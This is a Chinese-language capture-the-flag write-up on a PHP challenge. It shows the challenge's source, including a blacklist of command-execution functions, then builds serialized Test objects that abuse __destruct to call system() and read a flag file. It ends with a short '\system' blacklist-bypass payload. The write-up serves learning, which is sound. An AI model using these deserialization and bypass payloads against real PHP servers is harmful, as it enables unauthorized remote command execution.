本题考查了命令执行和反序列化的利用和构造
![](https://img-blog.csdnimg.cn/img_convert/50a944d317623c57f93bcae173786263.png)
题目打开是一张背景图片,并发现页面会定时刷新。使用Ctrl+u快捷键查看一下页面源代码。
![](https://img-blog.csdnimg.cn/img_convert/784f5dece9ef16de8da7146854097846.png)
分析页面Warning显示的内容和变量func和p的值,func='date',date()是一个php函数返回格式化的日期时间,而'Y-m-d h:i:s a'正是函数date()的参数;详细可参考菜鸟教程。
所以传入的参数func应该就是要执行的函数,p就是该函数的参数。所以这里测试一下用file_get_contents()函数读取index.php的源码。(用burp抓包进行攻击比较方便)
![](https://img-blog.csdnimg.cn/img_convert/d41fbf5dda4620d96f979f9021e3d7f7.png)
发现成功得到源代码验证了猜想
# index.php的源代码
<?php
# 这里有被过滤函数的黑名单
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {# 对func进行过滤
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
阅读源代码发现存在函数的过滤,大部分命令执行的函数都被过滤了。要进行绕过就可以利用序列化和反序列化。比如把要执行的代码进行序列化然后赋值给p(因为只对func进行过滤),而func调用没有被过滤的unserialize()函数对p进行反序列化,源代码中的Test类里有魔术方法__destruct()会在类被销毁时自动执行,所以可以利用Test类进行序列化构造。
<?php
class Test{
public $func;
public $p;
}
$a = new Test();
$a ->func = "system";
$a -> p = "find / -name flag*";# 查找flag文件
echo serialize($a);
?>
有关 find命令不熟悉的可以 参考
![](https://img-blog.csdnimg.cn/img_convert/de6f992c3df7711bda9c21675855f100.png)
然后就打印一下这个较为特殊的文件的内容
<?php
class Test{
public $func;
public $p;
}
$a = new Test();
$a ->func = "system";
$a -> p = "cat /tmp/flagoefiu4r93";
echo serialize($a);
?>
![](https://img-blog.csdnimg.cn/img_convert/ed0d73c7198bec4d79f4aaeef7ce6413.png)
成功拿到flag
网上还有另一种更简便的方法,但是本人不是很理解其中原理就提一下
payload:func=\system&p=cat /tmp/flagoefiu4r93
希望有懂哥评论区教教菜鸟,谢谢啦